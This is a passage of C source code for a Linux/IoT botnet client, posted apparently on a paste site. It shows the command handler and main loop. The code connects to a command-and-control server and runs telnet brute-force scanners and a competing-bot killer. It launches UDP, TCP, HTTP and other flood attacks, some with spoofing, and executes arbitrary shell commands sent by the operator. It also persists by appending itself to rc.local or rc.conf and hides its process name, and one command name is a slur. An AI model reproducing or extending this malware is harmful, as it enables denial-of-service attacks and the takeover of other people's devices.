  4409. if(!strcmp(argv[0], "TABLE"))
  4410. {
  4411. sockprintf(mainCommSock, "%d", getdtablesize());
  4412. return;
  4413. }
  4414.  
  4415. if(!strcmp(argv[0], "UPDATE"))
  4416. {
  4417. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  4418. UpdateBins(1);
  4419. return;
  4420. }
  4421. //StartTheBruter
  4422. if(!strcmp(argv[0], "SCANNER"))
  4423. {
  4424. if(!strcmp(argv[1], "OFF"))
  4425. {
  4426. if(scanPid == 0) return;
  4427. kill(scanPid, 9);
  4428. sockprintf(mainCommSock, "STOPPING SCANNER");
  4429. scanPid = 0;
  4430. }
  4431. if(!strcmp(argv[1], "ON"))
  4432. {
  4433. if(scanPid != 0) return;
  4434. uint32_t parent;
  4435. parent = fork();
  4436. int threads = 1200;//if you change this it adds more threads to the scanner but will also fuck your bots.
  4437. int timeout = 10;
  4438. if (parent > 0) { scanPid = parent; return;}
  4439. else if(parent == -1) return;
  4440. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  4441. StartTheLelz(timeout, threads);
  4442. _exit(0);
  4443. }
  4444. }
  4445.  
  4446. if(!strcmp(argv[0], "TELNET"))
  4447. {
  4448.  
  4449.  
  4450. if(!strcmp(argv[1], "OFF"))
  4451. {
  4452. if(scanPid == 0) return;
  4453. kill(scanPid, 9);
  4454. sockprintf(mainCommSock, "STOPPING SCANNER");
  4455. scanPid = 0;
  4456. }
  4457.  
  4458. if(!strcmp(argv[1], "ON"))
  4459. {
  4460. if(scanPid != 0) return;
  4461. uint32_t parent;
  4462. parent = fork();
  4463. int threads = 1200;//if you change this it adds more threads to the scanner but will also fuck your bots.
  4464. int timeout = 10;
  4465. if (parent > 0) { scanPid = parent; return;}
  4466. else if(parent == -1) return;
  4467. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  4468. StartTheBruter(timeout, threads);
  4469. _exit(0);
  4470. }
  4471. }
  4472. if(!strcmp(argv[0], "PHONE"))
  4473. {
  4474. if(!strcmp(argv[1], "OFF"))
  4475. {
  4476. if(scanPid == 0) return;
  4477. kill(scanPid, 9);
  4478. sockprintf(mainCommSock, "STOPPING SCANNER");
  4479. scanPid = 0;
  4480. }
  4481. if(!strcmp(argv[1], "ON"))
  4482. {
  4483. if(scanPid != 0) return;
  4484. uint32_t parent;
  4485. parent = fork();
  4486. int threads = 1200;//if you change this it adds more threads to the scanner but will also fuck your bots.
  4487. int timeout = 10;
  4488. if (parent > 0) { scanPid = parent; return;}
  4489. else if(parent == -1) return;
  4490. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  4491. StartThePhonez(timeout, threads);
  4492. _exit(0);
  4493. }
  4494. }
  4495. if(!strcmp(argv[0], "TEST"))
  4496. {
  4497. if(!strcmp(argv[1], "OFF"))
  4498. {
  4499. if(scanPid == 0) return;
  4500. kill(scanPid, 9);
  4501. sockprintf(mainCommSock, "STOPPING SCANNER");
  4502. scanPid = 0;
  4503. }
  4504. if(!strcmp(argv[1], "ON"))
  4505. {
  4506. if(scanPid != 0) return;
  4507. uint32_t parent;
  4508. parent = fork();
  4509. int threads = 1200;//if you change this it adds more threads to the scanner but will also fuck your bots.
  4510. int timeout = 10;
  4511. if (parent > 0) { scanPid = parent; return;}
  4512. else if(parent == -1) return;
  4513. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  4514. StartThePhone(timeout, threads);
  4515. _exit(0);
  4516. }
  4517. }
  4518.  
  4519. if(!strcmp(argv[0], "REMOVER"))
  4520. {
  4521. if(!listFork())
  4522. {
  4523. sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
  4524. botkiller();
  4525. _exit(0);
  4526. }
  4527. }
  4528.  
  4529. if(!strcmp(argv[0], "GETPUBLICIP"))
  4530. {
  4531. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  4532. return;
  4533. }
  4534.  
  4535. if(!strcmp(argv[0], "UDP"))
  4536. {
  4537. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  4538. {
  4539. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  4540. return;
  4541. }
  4542.  
  4543. unsigned char *ip = argv[1];
  4544. int port = atoi(argv[2]);
  4545. int time = atoi(argv[3]);
  4546. int spoofed = atoi(argv[4]);
  4547. int packetsize = atoi(argv[5]);
  4548. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  4549. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  4550. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  4551.  
  4552. if(strstr(ip, ",") != NULL)
  4553. {
  4554. unsigned char *hi = strtok(ip, ",");
  4555. while(hi != NULL)
  4556. {
  4557. if(!listFork())
  4558. {
  4559. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  4560. _exit(0);
  4561. }
  4562. hi = strtok(NULL, ",");
  4563. }
  4564. } else {
  4565. if (!listFork()){
  4566. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  4567. _exit(0);
  4568. }
  4569. }
  4570. return;
  4571. }
  4572.  
  4573. if(!strcmp(argv[0], "TCP"))
  4574. {
  4575. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  4576. {
  4577. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  4578. return;
  4579. }
  4580.  
  4581. unsigned char *ip = argv[1];
  4582. int port = atoi(argv[2]);
  4583. int time = atoi(argv[3]);
  4584. int spoofed = atoi(argv[4]);
  4585. unsigned char *flags = argv[5];
  4586.  
  4587. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  4588. int psize = argc > 6 ? atoi(argv[6]) : 0;
  4589.  
  4590. if(strstr(ip, ",") != NULL)
  4591. {
  4592. unsigned char *hi = strtok(ip, ",");
  4593. while(hi != NULL)
  4594. {
  4595. if(!listFork())
  4596. {
  4597. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  4598. _exit(0);
  4599. }
  4600. hi = strtok(NULL, ",");
  4601. }
  4602. } else {
  4603. if (!listFork()) {
  4604. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  4605. _exit(0);
  4606. }
  4607. }
  4608. }
  4609. if (!strcmp((const char *)argv[0], "HTTP")) {
  4610. if (argc < 6)
  4611. {
  4612. return;
  4613. }
  4614.  
  4615. if (strstr((const char *)argv[1], ",") != NULL) {
  4616. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  4617. while (hi != NULL) {
  4618. if (!listFork()) {
  4619. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  4620. _exit(0);
  4621. }
  4622. hi = (unsigned char *)strtok(NULL, ",");
  4623. }
  4624. } else {
  4625. if (listFork()) {
  4626. return;
  4627. }
  4628. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  4629. _exit(0);
  4630. }
  4631. }
  4632.  
  4633. if(!strcmp(argv[0], "CNC"))
  4634. {
  4635. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  4636. {
  4637. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  4638. return;
  4639. }
  4640.  
  4641. unsigned char *ip = argv[1];
  4642. int port = atoi(argv[2]);
  4643. int time = atoi(argv[3]);
  4644.  
  4645. if(strstr(ip, ",") != NULL)
  4646. {
  4647. unsigned char *hi = strtok(ip, ",");
  4648. while(hi != NULL)
  4649. {
  4650. if(!listFork())
  4651. {
  4652. sendCNC(hi, port, time);
  4653. close(mainCommSock);
  4654. _exit(0);
  4655. }
  4656. hi = strtok(NULL, ",");
  4657. }
  4658. } else {
  4659. if (listFork()) { return; }
  4660.  
  4661. sendCNC(ip, port, time);
  4662. _exit(0);
  4663. }
  4664. }
  4665.  
  4666. if(!strcmp(argv[0], "STD"))
  4667. {
  4668. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  4669. {
  4670. sockprintf(mainCommSock, "STD <target> <port> <time>");
  4671. return;
  4672. }
  4673.  
  4674. unsigned char *ip = argv[1];
  4675. int port = atoi(argv[2]);
  4676. int time = atoi(argv[3]);
  4677.  
  4678. if(strstr(ip, ",") != NULL)
  4679. {
  4680. unsigned char *hi = strtok(ip, ",");
  4681. while(hi != NULL)
  4682. {
  4683. if(!listFork())
  4684. {
  4685. sendSTD(hi, port, time);
  4686. _exit(0);
  4687. }
  4688. hi = strtok(NULL, ",");
  4689. }
  4690. } else {
  4691. if (listFork()) { return; }
  4692.  
  4693. sendSTD(ip, port, time);
  4694. _exit(0);
  4695. }
  4696.  
  4697. }
  4698.  
  4699. if(!strcmp(argv[0], "KILLATTK"))
  4700. {
  4701. int killed = 0;
  4702. unsigned long i;
  4703. for (i = 0; i < numpids; i++) {
  4704. if (pids[i] != 0 && pids[i] != getpid()) {
  4705. kill(pids[i], 9);
  4706. killed++;
  4707. }
  4708. }
  4709.  
  4710. if(killed > 0)
  4711. {
  4712. sockprintf(mainCommSock, "Killed %d.", killed);
  4713. } else {
  4714. sockprintf(mainCommSock, "None Killed.");
  4715. }
  4716. }
  4717.  
  4718. if(!strcmp(argv[0], "KYSFAGGOT"))
  4719. {
  4720. exit(0);
  4721. }
  4722. }
  4723.  
  4724. int initConnection()
  4725. {
  4726. unsigned char server[4096];
  4727. memset(server, 0, 4096);
  4728. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  4729. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  4730. else currentServer++;
  4731.  
  4732. strcpy(server, PromServer[currentServer]);
  4733. int port = Server_Botport;
  4734. if(strchr(server, ':') != NULL)
  4735. {
  4736. port = atoi(strchr(server, ':') + 1);
  4737. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  4738. }
  4739.  
  4740. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  4741.  
  4742. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  4743.  
  4744. return 0;
  4745. }
  4746.  
  4747. int getOurIP()
  4748. {
  4749. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  4750. if(sock == -1) return 0;
  4751.  
  4752. struct sockaddr_in serv;
  4753. memset(&serv, 0, sizeof(serv));
  4754. serv.sin_family = AF_INET;
  4755. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  4756. serv.sin_port = htons(53);
  4757.  
  4758. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  4759. if(err == -1) return 0;
  4760.  
  4761. struct sockaddr_in name;
  4762. socklen_t namelen = sizeof(name);
  4763. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  4764. if(err == -1) return 0;
  4765.  
  4766. ourIP.s_addr = name.sin_addr.s_addr;
  4767.  
  4768. int cmdline = open("/proc/net/route", O_RDONLY);
  4769. char linebuf[4096];
  4770. while(fdgets(linebuf, 4096, cmdline) != NULL)
  4771. {
  4772. if(strstr(linebuf, "\t00000000\t") != NULL)
  4773. {
  4774. unsigned char *pos = linebuf;
  4775. while(*pos != '\t') pos++;
  4776. *pos = 0;
  4777. break;
  4778. }
  4779. memset(linebuf, 0, 4096);
  4780. }
  4781. close(cmdline);
  4782.  
  4783. if(*linebuf)
  4784. {
  4785. int i;
  4786. struct ifreq ifr;
  4787. strcpy(ifr.ifr_name, linebuf);
  4788. ioctl(sock, SIOCGIFHWADDR, &ifr);
  4789. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  4790. }
  4791.  
  4792. close(sock);
  4793. }
  4794.  
  4795. char *getBuild() {
  4796. #if defined(__x86_64__) || defined(_M_X64)
  4797. return "x86_64";
  4798. #elif defined(__i386) || defined(_M_IX86)
  4799. return "x86_32";
  4800. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  4801. return "ARM-4";
  4802. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  4803. return "ARM-5"
  4804. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  4805. return "ARM-6";
  4806. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  4807. return "MIPS";
  4808. #elif defined(__sh__)
  4809. return "SUPERH";
  4810. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  4811. return "POWERPC";
  4812. #else
  4813. return "%s", VERSION;
  4814. #endif
  4815. }
  4816.  
  4817. int getEndianness(void)
  4818. {
  4819. union
  4820. {
  4821. uint32_t vlu;
  4822. uint8_t data[sizeof(uint32_t)];
  4823. } nmb;
  4824. nmb.data[0] = 0x00;
  4825. nmb.data[1] = 0x01;
  4826. nmb.data[2] = 0x02;
  4827. nmb.data[3] = 0x03;
  4828. switch (nmb.vlu)
  4829. {
  4830. case UINT32_C(0x00010203):
  4831. return "PYTHON";
  4832. case UINT32_C(0x03020100):
  4833. return "NETIS";
  4834. case UINT32_C(0x02030001):
  4835. return "SERVER";
  4836. case UINT32_C(0x01000302):
  4837. return "SERVER";
  4838. default:
  4839. return "V3";
  4840. }
  4841. }
  4842. int main(int argc, unsigned char *argv[])
  4843. {
  4844. char *mynameis = "";
  4845. if(SERVER_LIST_SIZE <= 0) return 0;
  4846. strncpy(argv[0],"",strlen(argv[0]));
  4847. argv[0] = "";
  4848. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  4849. srand(time(NULL) ^ getpid());
  4850. init_rand(time(NULL) ^ getpid());
  4851. pid_t pid1;
  4852. pid_t pid2;
  4853. int status;
  4854. int dupthing = 0;
  4855.  
  4856. char cwd[256],*str;
  4857. FILE *file;
  4858. str="/etc/rc.d/rc.local";
  4859. file=fopen(str,"r");
  4860. if (file == NULL) {
  4861. str="/etc/rc.conf";
  4862. file=fopen(str,"r");
  4863. }
  4864. if (file != NULL) {
  4865. char outfile[256], buf[1024];
  4866. int i=strlen(argv[0]), d=0;
  4867. getcwd(cwd,256);
  4868. if (strcmp(cwd,"/")) {
  4869. while(argv[0][i] != '/') i--;
  4870. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  4871. while(!feof(file)) {
  4872. fgets(buf,1024,file);
  4873. if (!strcasecmp(buf,outfile)) d++;
  4874. }
  4875. if (d == 0) {
  4876. FILE *out;
  4877. fclose(file);
  4878. out=fopen(str,"a");
  4879. if (out != NULL) {
  4880. fputs(outfile,out);
  4881. fclose(out);
  4882. }
  4883. }
  4884. else fclose(file);
  4885. }
  4886. else fclose(file);
  4887. }
  4888.  
  4889. getOurIP();
  4890.  
  4891. if (pid1 = fork()) {
  4892. waitpid(pid1, &status, 0);
  4893. exit(0);
  4894. } else if (!pid1) {
  4895. if (pid2 = fork()) {
  4896. exit(0);
  4897. } else if (!pid2) {
  4898. } else {
  4899. zprintf("fork failed\n");
  4900. }
  4901. } else {
  4902. zprintf("fork failed\n");
  4903. }
  4904.  
  4905. setsid();
  4906. chdir("/");
  4907.  
  4908. signal(SIGPIPE, SIG_IGN);
  4909.  
  4910. while(1)
  4911. {
  4912. if(initConnection()) { sleep(30); continue; }
  4913.  
  4914. sockprintf(mainCommSock, "\x1b[0;32m[ %s ]\x1b[0;37m ~ IP:\x1b[0;32m%s \x1b[0;37m~ Type:\x1b[0;32m%s\x1b[0;37m:\x1b[0;32m%s", VERSION, inet_ntoa(ourIP), getBuild(), getEndianness());
  4915.  
  4916. char commBuf[4096];
  4917. int got = 0;
  4918. int i = 0;
  4919. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  4920. {
  4921. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  4922. unsigned int *newpids, on;
  4923. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  4924. pids[on - 1] = 0;
  4925. numpids--;
  4926. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  4927. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  4928. free(pids);
  4929. pids = newpids;
  4930. }
  4931.  
  4932. commBuf[got] = 0x00;
  4933.  
  4934. trim(commBuf);
  4935.  
  4936. if(strstr(commBuf, "PING") == commBuf)
  4937. {
  4938. sockprintf(mainCommSock, "PONG");
  4939. continue;
  4940. }
  4941. if(strstr(commBuf, "DUP") == commBuf){
  4942. dupthing++;
  4943. zprintf("PEACE OUT IMMA DUP\n");
  4944. if(dupthing > 20){
  4945. exit(0);
  4946. }
  4947. break;
  4948. }
  4949.  
  4950. unsigned char *message = commBuf;
  4951.  
  4952. if(*message == '!')
  4953. {
  4954. unsigned char *nickMask = message + 1;
  4955. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  4956. if(*nickMask == 0x00) continue;
  4957. *(nickMask) = 0x00;
  4958. nickMask = message + 1;
  4959.  
  4960. message = message + strlen(nickMask) + 2;
  4961. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  4962.  
  4963. unsigned char *command = message;
  4964. while(*message != ' ' && *message != 0x00) message++;
  4965. *message = 0x00;
  4966. message++;
  4967.  
  4968. unsigned char *tmpcommand = command;
  4969. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  4970.  
  4971. if(strcmp(command, "SH") == 0)
  4972. {
  4973. unsigned char buf[1024];
  4974. int command;
  4975. if (listFork()) continue;
  4976. memset(buf, 0, 1024);
  4977. szprintf(buf, "%s 2>&1", message);
  4978. command = fdpopen(buf, "r");
  4979. while(fdgets(buf, 1024, command) != NULL)
  4980. {
  4981. trim(buf);
  4982. sockprintf(mainCommSock, "%s", buf);
  4983. memset(buf, 0, 1024);
  4984. sleep(1);
  4985. }
  4986. fdpclose(command);
  4987. exit(0);
  4988. }
  4989.  
  4990. unsigned char *params[10];
  4991. int paramsCount = 1;
  4992. unsigned char *pch = strtok(message, " ");
  4993. params[0] = command;
  4994.  
  4995. while(pch)
  4996. {
  4997. if(*pch != '\n')
  4998. {
  4999. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  5000. memset(params[paramsCount], 0, strlen(pch) + 1);
  5001. strcpy(params[paramsCount], pch);
  5002. paramsCount++;
  5003. }
  5004. pch = strtok(NULL, " ");
  5005. }
  5006.  
  5007. processCmd(paramsCount, params);
  5008.  
  5009. if(paramsCount > 1)
  5010. {
  5011. int q = 1;
  5012. for(q = 1; q < paramsCount; q++)
  5013. {
  5014. free(params[q]);
  5015. }
  5016. }
  5017. }
  5018. }
  5019. }
  5020.  
  5021. return 0;
  5022. printf("client exiting");
  5023. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement